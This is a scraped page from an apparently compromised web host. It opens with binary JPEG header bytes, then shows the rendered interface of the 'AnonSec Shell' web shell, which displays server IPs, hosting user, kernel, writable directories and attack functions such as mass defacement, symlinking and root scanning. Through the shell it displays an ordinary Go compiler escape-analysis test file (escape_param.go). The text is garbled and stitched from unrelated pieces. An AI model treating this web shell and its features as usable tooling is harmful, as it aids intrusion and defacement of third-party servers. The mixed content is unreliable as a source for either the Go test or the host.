JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.37.143  /  Your IP : 216.73.217.108   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux sg-nme-web1234.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u157516162 ( 157516162)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/golang/1.22.0/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/opt/golang/1.22.0/test/escape_param.go
// errorcheck -0 -m -l

// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test escape analysis for function parameters.

// In this test almost everything is BAD except the simplest cases
// where input directly flows to output.

package escape

func zero() int { return 0 }

var sink interface{}

// in -> out
func param0(p *int) *int { // ERROR "leaking param: p to result ~r0"
	return p
}

func caller0a() {
	i := 0
	_ = param0(&i)
}

func caller0b() {
	i := 0 // ERROR "moved to heap: i$"
	sink = param0(&i)
}

// in, in -> out, out
func param1(p1, p2 *int) (*int, *int) { // ERROR "leaking param: p1 to result ~r0" "leaking param: p2 to result ~r1"
	return p1, p2
}

func caller1() {
	i := 0 // ERROR "moved to heap: i$"
	j := 0
	sink, _ = param1(&i, &j)
}

// in -> other in
func param2(p1 *int, p2 **int) { // ERROR "leaking param: p1$" "p2 does not escape$"
	*p2 = p1
}

func caller2a() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	param2(&i, &p)
	_ = p
}

func caller2b() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	param2(&i, &p)
	sink = p
}

func paramArraySelfAssign(p *PairOfPairs) { // ERROR "p does not escape"
	p.pairs[0] = p.pairs[1] // ERROR "ignoring self-assignment in p.pairs\[0\] = p.pairs\[1\]"
}

func paramArraySelfAssignUnsafeIndex(p *PairOfPairs) { // ERROR "leaking param content: p"
	// Function call inside index disables self-assignment case to trigger.
	p.pairs[zero()] = p.pairs[1]
	p.pairs[zero()+1] = p.pairs[1]
}

type PairOfPairs struct {
	pairs [2]*Pair
}

type BoxedPair struct {
	pair *Pair
}

type WrappedPair struct {
	pair Pair
}

func leakParam(x interface{}) { // ERROR "leaking param: x"
	sink = x
}

func sinkAfterSelfAssignment1(box *BoxedPair) { // ERROR "leaking param content: box"
	box.pair.p1 = box.pair.p2 // ERROR "ignoring self-assignment in box.pair.p1 = box.pair.p2"
	sink = box.pair.p2
}

func sinkAfterSelfAssignment2(box *BoxedPair) { // ERROR "leaking param content: box"
	box.pair.p1 = box.pair.p2 // ERROR "ignoring self-assignment in box.pair.p1 = box.pair.p2"
	sink = box.pair
}

func sinkAfterSelfAssignment3(box *BoxedPair) { // ERROR "leaking param content: box"
	box.pair.p1 = box.pair.p2 // ERROR "ignoring self-assignment in box.pair.p1 = box.pair.p2"
	leakParam(box.pair.p2)
}

func sinkAfterSelfAssignment4(box *BoxedPair) { // ERROR "leaking param content: box"
	box.pair.p1 = box.pair.p2 // ERROR "ignoring self-assignment in box.pair.p1 = box.pair.p2"
	leakParam(box.pair)
}

func selfAssignmentAndUnrelated(box1, box2 *BoxedPair) { // ERROR "leaking param content: box2" "box1 does not escape"
	box1.pair.p1 = box1.pair.p2 // ERROR "ignoring self-assignment in box1.pair.p1 = box1.pair.p2"
	leakParam(box2.pair.p2)
}

func notSelfAssignment1(box1, box2 *BoxedPair) { // ERROR "leaking param content: box2" "box1 does not escape"
	box1.pair.p1 = box2.pair.p1
}

func notSelfAssignment2(p1, p2 *PairOfPairs) { // ERROR "leaking param content: p2" "p1 does not escape"
	p1.pairs[0] = p2.pairs[1]
}

func notSelfAssignment3(p1, p2 *PairOfPairs) { // ERROR "leaking param content: p2" "p1 does not escape"
	p1.pairs[0].p1 = p2.pairs[1].p1
}

func boxedPairSelfAssign(box *BoxedPair) { // ERROR "box does not escape"
	box.pair.p1 = box.pair.p2 // ERROR "ignoring self-assignment in box.pair.p1 = box.pair.p2"
}

func wrappedPairSelfAssign(w *WrappedPair) { // ERROR "w does not escape"
	w.pair.p1 = w.pair.p2 // ERROR "ignoring self-assignment in w.pair.p1 = w.pair.p2"
}

// in -> in
type Pair struct {
	p1 *int
	p2 *int
}

func param3(p *Pair) { // ERROR "p does not escape"
	p.p1 = p.p2 // ERROR "param3 ignoring self-assignment in p.p1 = p.p2"
}

func caller3a() {
	i := 0
	j := 0
	p := Pair{&i, &j}
	param3(&p)
	_ = p
}

func caller3b() {
	i := 0 // ERROR "moved to heap: i$"
	j := 0 // ERROR "moved to heap: j$"
	p := Pair{&i, &j}
	param3(&p)
	sink = p // ERROR "p escapes to heap$"
}

// in -> rcvr
func (p *Pair) param4(i *int) { // ERROR "p does not escape$" "leaking param: i$"
	p.p1 = i
}

func caller4a() {
	i := 0 // ERROR "moved to heap: i$"
	p := Pair{}
	p.param4(&i)
	_ = p
}

func caller4b() {
	i := 0 // ERROR "moved to heap: i$"
	p := Pair{}
	p.param4(&i)
	sink = p // ERROR "p escapes to heap$"
}

// in -> heap
func param5(i *int) { // ERROR "leaking param: i$"
	sink = i
}

func caller5() {
	i := 0 // ERROR "moved to heap: i$"
	param5(&i)
}

// *in -> heap
func param6(i ***int) { // ERROR "leaking param content: i$"
	sink = *i
}

func caller6a() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	p2 := &p
	param6(&p2)
}

// **in -> heap
func param7(i ***int) { // ERROR "leaking param content: i$"
	sink = **i
}

func caller7() {
	i := 0 // ERROR "moved to heap: i$"
	p := &i
	p2 := &p
	param7(&p2)
}

// **in -> heap
func param8(i **int) { // ERROR "i does not escape$"
	sink = **i // ERROR "\*\(\*i\) escapes to heap"
}

func caller8() {
	i := 0
	p := &i
	param8(&p)
}

// *in -> out
func param9(p ***int) **int { // ERROR "leaking param: p to result ~r0 level=1"
	return *p
}

func caller9a() {
	i := 0
	p := &i
	p2 := &p
	_ = param9(&p2)
}

func caller9b() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	p2 := &p
	sink = param9(&p2)
}

// **in -> out
func param10(p ***int) *int { // ERROR "leaking param: p to result ~r0 level=2"
	return **p
}

func caller10a() {
	i := 0
	p := &i
	p2 := &p
	_ = param10(&p2)
}

func caller10b() {
	i := 0 // ERROR "moved to heap: i$"
	p := &i
	p2 := &p
	sink = param10(&p2)
}

// in escapes to heap (address of param taken and returned)
func param11(i **int) ***int { // ERROR "moved to heap: i$"
	return &i
}

func caller11a() {
	i := 0  // ERROR "moved to heap: i"
	p := &i // ERROR "moved to heap: p"
	_ = param11(&p)
}

func caller11b() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	sink = param11(&p)
}

func caller11c() { // GOOD
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p"
	sink = *param11(&p)
}

func caller11d() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p"
	p2 := &p
	sink = param11(p2)
}

// &in -> rcvr
type Indir struct {
	p ***int
}

func (r *Indir) param12(i **int) { // ERROR "r does not escape$" "moved to heap: i$"
	r.p = &i
}

func caller12a() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	var r Indir
	r.param12(&p)
	_ = r
}

func caller12b() {
	i := 0        // ERROR "moved to heap: i$"
	p := &i       // ERROR "moved to heap: p$"
	r := &Indir{} // ERROR "&Indir{} does not escape$"
	r.param12(&p)
	_ = r
}

func caller12c() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	r := Indir{}
	r.param12(&p)
	sink = r
}

func caller12d() {
	i := 0  // ERROR "moved to heap: i$"
	p := &i // ERROR "moved to heap: p$"
	r := Indir{}
	r.param12(&p)
	sink = **r.p
}

// in -> value rcvr
type Val struct {
	p **int
}

func (v Val) param13(i *int) { // ERROR "v does not escape$" "leaking param: i$"
	*v.p = i
}

func caller13a() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	var v Val
	v.p = &p
	v.param13(&i)
	_ = v
}

func caller13b() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	v := Val{&p}
	v.param13(&i)
	_ = v
}

func caller13c() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	v := &Val{&p} // ERROR "&Val{...} does not escape$"
	v.param13(&i)
	_ = v
}

func caller13d() {
	i := 0     // ERROR "moved to heap: i$"
	var p *int // ERROR "moved to heap: p$"
	var v Val
	v.p = &p
	v.param13(&i)
	sink = v
}

func caller13e() {
	i := 0     // ERROR "moved to heap: i$"
	var p *int // ERROR "moved to heap: p$"
	v := Val{&p}
	v.param13(&i)
	sink = v
}

func caller13f() {
	i := 0        // ERROR "moved to heap: i$"
	var p *int    // ERROR "moved to heap: p$"
	v := &Val{&p} // ERROR "&Val{...} escapes to heap$"
	v.param13(&i)
	sink = v
}

func caller13g() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	v := Val{&p}
	v.param13(&i)
	sink = *v.p
}

func caller13h() {
	i := 0 // ERROR "moved to heap: i$"
	var p *int
	v := &Val{&p} // ERROR "&Val{...} does not escape$"
	v.param13(&i)
	sink = **v.p // ERROR "\*\(\*v\.p\) escapes to heap"
}

type Node struct {
	p *Node
}

var Sink *Node

func f(x *Node) { // ERROR "leaking param content: x"
	Sink = &Node{x.p} // ERROR "&Node{...} escapes to heap"
}

func g(x *Node) *Node { // ERROR "leaking param content: x"
	return &Node{x.p} // ERROR "&Node{...} escapes to heap"
}

func h(x *Node) { // ERROR "leaking param: x"
	y := &Node{x} // ERROR "&Node{...} does not escape"
	Sink = g(y)
	f(y)
}

// interface(in) -> out
// See also issue 29353.

// Convert to a non-direct interface, require an allocation and
// copy x to heap (not to result).
func param14a(x [4]*int) interface{} { // ERROR "leaking param: x$"
	return x // ERROR "x escapes to heap"
}

// Convert to a direct interface, does not need an allocation.
// So x only leaks to result.
func param14b(x *int) interface{} { // ERROR "leaking param: x to result ~r0 level=0"
	return x
}

Anon7 - 2022
AnonSec Team